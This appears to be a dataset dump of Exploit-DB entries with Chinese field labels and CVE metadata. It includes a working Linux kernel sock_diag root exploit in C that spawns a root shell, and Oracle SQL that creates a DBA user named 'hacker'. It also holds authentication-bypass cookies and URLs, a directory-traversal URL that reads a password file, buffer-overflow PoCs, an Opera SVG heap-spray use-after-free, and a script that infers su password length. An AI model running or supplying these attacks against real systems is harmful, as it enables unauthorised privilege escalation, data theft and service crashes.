QLWD/code_shield huggingface dataset:
标题: Oracle Database Server 8.1.7/9.0.x - ctxsys.driload Access Validation EDB-ID: 24567 CVE: 2004-0637 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/11099/info

Oracle Database Server is prone to an access validation vulnerability that may permit unprivileged users to execute commands as the DBA. This could compromise the database.

SQL> exec ctxsys.driload.validate_stmt
('create user hacker identified by hacker');
SQL> exec ctxsys.driload.validate_stmt('grant dba, connect to hacker'); URL: https://www.exploit-db.com/exploits/24567
标题: SiteCubed MailWorks Professional - Authentication Bypass EDB-ID: 24565 CVE: 2004-1661 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/11095/info

MailWorks Professional is reported prone to an authentication bypass vulnerability.

The application uses cookies to store variables that determine the status of the authentication process. An attacker browsing the web application using specially crafted cookie data is able to bypass the authentication process to access the site as an administrative user.

This vulnerability allows a remote attacker to gain administrative access to the affected application.

Cookie: auth=1; uId=1 URL: https://www.exploit-db.com/exploits/24565
标题: D-Link DSL-2740B ADSL Router - Authentication Bypass EDB-ID: 24563 CVE: 2013-2271 类型: WEBAPPS 平台: HARDWARE 发布日期: 2013-03-04 漏洞利用脚本: +------------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title      : D-Link DSL-2740B (ADSL Router) Authentication Bypass
# Date               : 10-02-2013
# Author             : Ivano Binetti (http://ivanobinetti.com)
# Vendor site        : http://www.d-link.com
# Version            : DSL-2740B
# Tested on          : Firmware Version: EU_1.0 (other models/firmware could be also affected)
# Original Advisory  : http://www.webapp-security.com/2013/03/d-link-dsl-2740b-adsl-router-authentication-bypass/
# CVE                : CVE-2013-2271
+-------------------------------------------------------------------------------------------------------------------------------------------+
+---------------------------------------[D-Link DSL-2740B Bypass Authentication by Ivano Binetti]-------------------------------------------+
Summary
 
1)Introduction
2)Vulnerability Description
3)Exploit
+--------------------------------------------------------------------------------------------------------------------------------------------+ 

1)Introduction
D-Link DSL-2740B is an ADSL Router using a web management interface in order to change configuration settings.
 
2)Vulnerability Description
This router allows an attacker to bypass authentication and to login with administrator ("admin" user) permissions.
When the administrator is logged in the web management interface, an attacker is be able to completely bypass authentication phase and 
connect to the web management interface with administrator's credentials.
Please observe that the default URL to access to the web management interface is "http://192.168.1.1" but this attack can also be 
performed by an axternal attacker who connects to the router's public IP address, if remote management is enabled.
  
3)Exploit
When an administrator in logged in the web management interface an attacker can bypass authentication and get administrator permissions
connecting to the following URL:

http://<ip address>/login.cgi (where <ip address> can be both internal or public) URL: https://www.exploit-db.com/exploits/24563
标题: Linux Kernel 3.3.x < 3.7.x (Arch Linux x86-64) - 'sock_diag_handlers[]' Local Privilege Escalation (1) EDB-ID: 24555 CVE: 2013-1763 类型: LOCAL 平台: LINUX_X86-64 发布日期: 2013-02-27 漏洞利用脚本: // archer.c
//
// 2012 sd@fucksheep.org
//
// Works reliably against x86-64 3.3-3.7 arch.
//
// Tested against:
//
// Linux XXX 3.3.1-1-ARCH #1 SMP PREEMPT Tue Apr 3 06:46:17 UTC 2012 x86_64 GNU/Linux
// Linux XXX 3.4.7-1-ARCH #1 SMP PREEMPT Sun Jul 29 22:02:56 CEST 2012 x86_64 GNU/Linux
// Linux XXX 3.7.4-1-ARCH #1 SMP PREEMPT Mon Jan 21 23:05:29 CET 2013 x86_64 GNU/Linux
// ...

#include <assert.h>

#define JUMP  0x0000100000001000LL
#define BASE  0x380000000
#define SIZE  0x010000000
#define KSIZE  0x2000000

static long ugid;

void patch_current() {
        int i,j,k;
        char *current = *(char**)(((long)&i) & (-8192));
        long kbase = ((long)current)>>36;

        for (i=0; i<4000; i+=4) {
                long *p = (void *)&current[i];
                int *t = (void*) p[0];
                if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
                for (j=0; j<20; j++) {
      for (k = 0; k < 8; k++)
                          if (((int*)&ugid)[k%2] != t[j+k]) goto next;
                        for (i = 0; i < 8; i++) t[j+i] = 0;
                        for (i = 0; i < 10; i++) t[j+9+i] = -1;
                        return;
next:;          }
        }
}


int main()
{
  long u = getuid();
  long g = getgid();
  int i, f = socket(16,3,4);
  static int n[10] = {40,0x10014,0,0,45,-1};

  assert(mmap((void*)(1<<12), 1<<20, 3, 0x32, 0, 0)!=-1);

  setresuid(u,u,u); setresgid(g,g,g);
  ugid = (g<<32)|u;

  memcpy(1<<12, &patch_current, 1024);
  for (i = 0; i < (1<<17); i++) ((void**)(1<<12))[i] = &patch_current;
  send(f, n, sizeof(n), 0);
  setuid(0);
  return execl("/bin/bash", "-sh", 0);
} URL: https://www.exploit-db.com/exploits/24555
标题: Hanso Player 2.1.0 - '.m3u' Buffer Overflow EDB-ID: 24556 CVE: 2013-7280 类型: DOS 平台: WINDOWS 发布日期: 2013-03-01 漏洞利用脚本: #!/usr/bin/python
# Exploit Title:Buffer Overflow Vulnerability Hanso Player version 2.1.0
# Download link :www.hansotools.com/downloads/hanso-player-setup.exe
# Author: metacom
# RST
# version: 2.1.0
# Category: poc
# Tested on: windows 7 German  

f=open("fuzzzzz.m3u","w")
print "Creating expoit."

junk="\x41" * 5000

try:    
    f.write(junk)
    f.close()
    print "File created"
except:
    print "File cannot be created" URL: https://www.exploit-db.com/exploits/24556
标题: Joomla! 3.0.2 - 'highlight.php' PHP Object Injection EDB-ID: 24551 CVE: 2013-1453 类型: WEBAPPS 平台: PHP 发布日期: 2013-02-27 漏洞利用脚本: -------------------------------------------------------------------
Joomla! <= 3.0.2 (highlight.php) PHP Object Injection Vulnerability
-------------------------------------------------------------------


[-] Software Link:

http://www.joomla.org/


[-] Affected Versions:

Version 3.0.2 and earlier 3.0.x versions.
Version 2.5.8 and earlier 2.5.x versions.


[-] Vulnerability Description:

The vulnerable code is located in /plugins/system/highlight/highlight.php:

56. // Get the terms to highlight from the request.
57. $terms = $input->request->get('highlight', null, 'base64');
58. $terms = $terms ? unserialize(base64_decode($terms)) : null;

User input passed through the "highlight" parameter is not properly sanitized before being used in
an unserialize() call at line 58. This can be exploited to inject arbitrary PHP objects into the
application scope. Successful exploitation of this vulnerability doesn't require authentication,
but requires the "System Highlight" plugin to be enabled (such as by default configuration).


[-] Solution:

Upgrade to version 3.0.3 or 2.5.9.


[-] Disclosure Timeline:

[31/10/2012] - Vendor notified
[08/11/2012] - Vendor asked for a proof of concept
[08/11/2012] - Proof of concept provided to the vendor
[04/02/2013] - Vendor update released
[27/02/2013] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2013-1453 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2013-03 URL: https://www.exploit-db.com/exploits/24551
标题: Piwigo 2.4.6 - '/install.php' Arbitrary File Read/Delete EDB-ID: 24520 CVE: 2013-1469 类型: WEBAPPS 平台: PHP 发布日期: 2013-02-19 漏洞利用脚本: Piwigo 2.4.6 (install.php) Remote Arbitrary File Read/Delete Vulnerability


Vendor: Piwigo project
Product web page: http://www.piwigo.org
Affected version: 2.4.6

Summary: Piwigo is a photo gallery software for the web that comes
with powerful features to publish and manage your collection of
pictures.

Desc: Input passed to the 'dl' parameter in 'install.php' script
is not properly sanitised before being used to get the contents of
a resource or delete files. This can be exploited to read and delete
arbitrary data from local resources with the permissions of the web
server via directory traversal attack.

====================================================================
/install.php:
-------------

113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }

====================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php

Vendor Patch: http://piwigo.org/bugs/view.php?id=2843



15.02.2013


--

http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt URL: https://www.exploit-db.com/exploits/24520
标题: Schneider Electric Accutech Manager - Heap Overflow (PoC) EDB-ID: 24474 CVE: 2013-0658 类型: DOS 平台: WINDOWS 发布日期: 2013-02-10 漏洞利用脚本: #Schneider Electric
#Accutech Manager Server Heap Overflow PoC
#RFManagerService - Port: 2537
#I think this is the same vuln that ExodusIntel discovered. Credit also goes to Aaron Portnoy, ExodusIntel.
#The patch has not been released yet.
#Evren Yalcin, Signalsec Ltd. (www.signalsec.com)
#Download app:
#http://telemetry.schneider-electric.com/id2/media/downloads/software/scadarange/Accutech%20Manager%201.89.2.zip

import socket
import sys
 
host = "192.168.163.128"
 
port = 2537

buf = "\x41" * 400

req = ("GET /" + buf + " HTTP/1.1\r\n"
"Host: " + host + ":" + str(port) + "\r\n")
 
print "  [+] Connecting to %s:%d" % (host, port)
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
 
s.send(req)
data = s.recv(1024)
s.close()

#(d40.e8c): Access violation - code c0000005 (!!! second chance !!!)
#eax=41414141 ebx=00fd0000 ecx=41414141 edx=0b2999a8 esi=0b2999a0 edi=00000005
#eip=7c91142e esp=0ba3fc28 ebp=0ba3fe48 iopl=0         nv up ei pl zr na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
#7c91142e 8b39            mov     edi,dword ptr [ecx]  ds:0023:41414141=????????
#----snip----
#text:0040DE91                 push    offset aReceivedReques ; "Received request, parsing...\n"
#.text:0040DE96                 call    nullsub_1
#.text:0040DE9B                 lea     eax, [ebp+cbTransfer]
#.text:0040DEA1                 push    eax             ; char * ; GET /AAAAAAAAAAAAAAAAAAAAAAAAA
#.text:0040DEA2                 push    esi             ; int
#.text:0040DEA3                 call    sub_40E006
#.text:0040DEA8                 add     esp, 0Ch
#----snip---
#call sub_40E006 function copies GET data to staticaly sized heap buffer. URL: https://www.exploit-db.com/exploits/24474
标题: CubeCart 5.2.0 - 'cubecart.class.php' PHP Object Injection EDB-ID: 24465 CVE: 2013-1465 类型: WEBAPPS 平台: PHP 发布日期: 2013-02-07 漏洞利用脚本: -------------------------------------------------------------------------
CubeCart <= 5.2.0 (cubecart.class.php) PHP Object Injection Vulnerability
-------------------------------------------------------------------------


[-] Software Link:

http://www.cubecart.com/


[-] Affected Versions:

All versions from 5.0.0 to 5.2.0


[-] Vulnerability Description:

The vulnerable code is located in the Cubecart::_basket() method defined in the /classes/cubecart.class.php script:

519. // Update shipping values
520. if (isset($_POST['shipping']) && !empty($_POST['shipping'])) {
521.     $GLOBALS['cart']->set('shipping', unserialize(base64url_decode($_POST['shipping'])));
522.     if (!isset($_POST['proceed'])) {
523.         httpredir(currentPage());
524.     }
525. }

User input passed through the $_POST['shipping'] parameter is not properly sanitized before being
used in an unserialize() call at line 521. This can be exploited to inject an arbitrary object into
the application scope. For e.g. the destructor method of the "Config" class could be abused:

78. public function __destruct() {
79.     //Do we need to write to the db
80.     if ($this->_write_db) {
81.         $this->_writeDB();
82.     }
83. }

By sending a specially crafted serialized "Config" object, an attacker might be able to change the
application configuration settings with arbitrary values, and this can lead to make the application
vulnerable to malicious attacks such as Cross-Site Scripting, SQL Injection or Denial of Service.


[-] Solution:

Upgrade to version 5.2.1 or higher.


[-] Disclosure Timeline:

[27/01/2013] - Issue reported to http://bugs.cubecart.com/view.php?id=511
[31/01/2013] - Version 5.2.1 released: http://forums.cubecart.com/?showtopic=47026
[31/01/2013] - CVE number requested
[04/02/2013] - CVE number assigned
[06/02/2013] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2013-1465 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2013-02 URL: https://www.exploit-db.com/exploits/24465
标题: Linux Kernel 2.6.32-5 (Debian 6.0.5) - '/dev/ptmx' Key Stroke Timing Local Disclosure EDB-ID: 24459 CVE: 2013-0160 类型: LOCAL 平台: LINUX 发布日期: 2013-02-05 漏洞利用脚本: #!/bin/bash
# ptmx-su-pwdlen.sh -- This PoC determine the password length of a local
# user who runs "su -".  Done thanks to the ptmx keystroke timing attack
# (CVE-2013-0160). See http://vladz.devzero.fr/013_ptmx-timing.php for
# more information.  
#
# Tested on Debian 6.0.5 (kernel 2.6.32-5-amd64).
#
# "THE BEER-WARE LICENSE" (Revision 42):
# <vladz@devzero.fr> wrote this file. As long as you retain this notice
# you can do whatever you want with this stuff. If we meet some day, and
# you think this stuff is worth it, you can buy me a beer in return. -V.

if ps -e -o cmd= | egrep -q "^(-|^)su"; then
  echo "[-] Kill/close all running \"su\" session before using this PoC"
  exit 1
fi

exe=$(mktemp) || exit 1
tmp=$(mktemp) || exit 1

cat > ${exe}.c << _EOF_
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <sys/inotify.h>

static int count = 0;

void display_result() {

  printf("[+] password len is %d\n", count-1);
  _exit(0);
}

int main() {

  int fd;
  char buf[1024];

  signal(SIGINT, display_result);

  fd = inotify_init();
  inotify_add_watch(fd, "/dev/ptmx", IN_MODIFY);

  while(read(fd, buf, 1024)) count++; 

  return 0;
}
_EOF_

cc -o ${exe}{,.c}

echo "[*] Wait for someone to run \"su -\""

while true; do 

  ps -e -o cmd= | egrep "^(-|^)su" >${tmp}
  x=$(wc -l ${tmp})

  case ${x% *} in

    1) (( run )) && continue;
       echo -n "[+] su detected, full command: "
       cat ${tmp}; ${exe} & 
       (( run = 1 ))  ;;

    2) [ ! -z "$!" ] && kill -2 $!; break ;;

  esac

done

rm -f ${exe}{,.c} ${tmp} URL: https://www.exploit-db.com/exploits/24459
标题: Cool PDF Reader 3.0.2.256 - Buffer Overflow EDB-ID: 24463 CVE: 2012-4914 类型: DOS 平台: WINDOWS 发布日期: 2013-02-07 漏洞利用脚本: # Exploit Title: Cool PDF Reader 3.0.2.256 buffer overflow
# Vulnerability Disclosed to US-CERT by Chris Gabriel: 11-20-2012
# Emailed vendor: 12-4-2012
# Francis Provencher discovered vulnerability and reported to Secunia: 12-19-2012
# Vulnerability Discovery: Francis Provencher (Protek Research Lab's) @ProtekResearch
# Vulnerability Discovery: Chris Gabriel
# Exploit Author: Chris Gabriel
# Vendor Homepage: http://www.pdf2exe.com/reader.html
# Version: CoolPDF 3.0.2.256 
# Tested on: Windows XP SP3
# CVE: CVE-2012-4914
# Reference: http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=70&Itemid=70
# Reference: http://secunia.com/advisories/51602

PoC:  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24463.py URL: https://www.exploit-db.com/exploits/24463
标题: DataLife Engine 9.7 - 'preview.php' PHP Code Injection EDB-ID: 24438 CVE: 2013-7387 2013-1412 类型: WEBAPPS 平台: PHP 发布日期: 2013-01-28 漏洞利用脚本: ------------------------------------------------------------------
DataLife Engine 9.7 (preview.php) PHP Code Injection Vulnerability
------------------------------------------------------------------

[-] Software Link:

http://dleviet.com/


[-] Affected Version:

9.7 only.


[-] Vulnerability Description:

The vulnerable code is located in the /engine/preview.php script:

246. $c_list = implode (',', $_REQUEST['catlist']);
247.
248. if( strpos( $tpl->copy_template, "[catlist=" ) !== false ) {
249.  $tpl->copy_template = preg_replace( "#\\[catlist=(.+?)\\](.*?)\\[/catlist\\]#ies", "check_category('\\1', '\\2', '{$c_list}')", $tpl->copy_template );
250. }
251.  
252. if( strpos( $tpl->copy_template, "[not-catlist=" ) !== false ) {
253.  $tpl->copy_template = preg_replace( "#\\[not-catlist=(.+?)\\](.*?)\\[/not-catlist\\]#ies", "check_category('\\1', '\\2', '{$c_list}', false)", $tpl->copy_template );
254. }

User supplied input passed through the $_REQUEST['catlist'] parameter is not properly
sanitized before being used in a preg_replace() call with the e modifier at lines 249 and 253.
This can be exploited to inject and execute arbitrary PHP code. Successful exploitation of
this vulnerability requires a template which contains a “catlist” (or a “not-catlist”) tag.


[-] Solution:

Apply the vendor patch: http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html


[-] Disclosure Timeline:

[16/01/2013] - Vendor notified
[19/01/2013] - Vendor patch released
[20/01/2013] - CVE number requested
[21/01/2013] - CVE number assigned
[28/01/2013] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2013-1412 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2013-01 URL: https://www.exploit-db.com/exploits/24438
标题: Opera SVG - Use-After-Free EDB-ID: 24448 CVE: 2013-1638 类型: DOS 平台: WINDOWS 发布日期: 2013-02-05 漏洞利用脚本: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w0.org/1999/xlink">
<g id="group">
<defs>
    <clipPath id="clip-circle" clip-path="url(#clip-rect)">
    </clipPath>
     <clipPath id="clip-rect">
    </clipPath>
</defs>
<circle id="rect" x="10" y="10" width="100" height="100" fill="green" />
</g>
<script><![CDATA[ 

//Author=Cons0ul

var b = new Array();

// this is our spray function where spray is allocated on LFH with exact size 0x78 
// so 0x78 size of block is created so far we are creating 0x50000 blocks
// to create 0x78 blocks we are using ArrayBuffer();

function feng_shui(){

for(i=0;i<1000;i++)window.opera.collect(); // <----- garbage collection


 for(i=0;i<0x50000;i++){
  payload = new ArrayBuffer(0x78) // use 0xb0 for 64bit machine
  payload[0]=0x6c
  payload[1]=0x03
  payload[2]=0xfe
  payload[3]=0x7f
  b.push(payload)
 }
}


// bug is use after free in handling of (use tag + clippath) witch try to access freed object
// 

  document.getElementById('rect').setAttribute('clip-path',"url(#clip-circle)");
  var c = document.createElement('use');
  c.setAttribute("xlink:href","rect")
    
  feng_shui();
  document.getElementById('clip-rect').appendChild(c);
  document.getElementById('rect').style.clipPath="url(#clip-circle)" // <----- bug
  window.opera.collect() // <------ gc() frees the allocation
  feng_shui(); //   <------------ we allocate our code at freed memory
  // at the end it tries freed block witch contains our data
  window.location.href=window.location.href;


/*   

idc !heap -p -a ecx

  address 077c45e0 found in
    _HEAP @ b40000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        077c45d8 0010 0000  [00]   077c45e0    00078 - (free)



PS C:\Users\cons0ul> idc db ecx
077c45e0  92 48 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00  .H..............
077c45f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4600  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4610  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4620  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4630  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4640  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4650  00 00 00 00 00 00 00 00-89 d0 6a 5b 00 00 00 88  ..........j[....
PS C:\Users\cons0ul> idc r
eax=7ffe4892 ebx=00000001 ecx=077c45e0 edx=00000000 esi=0372e590 edi=01d40048
eip=6b8c998b esp=0013e334 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
Opera_6b430000!OpGetNextUninstallFile+0xf8583:
6b8c998b ff5008          call    dword ptr [eax+8]    ds:0023:7ffe489a=????????
*/

  ]]></script>
</svg> URL: https://www.exploit-db.com/exploits/24448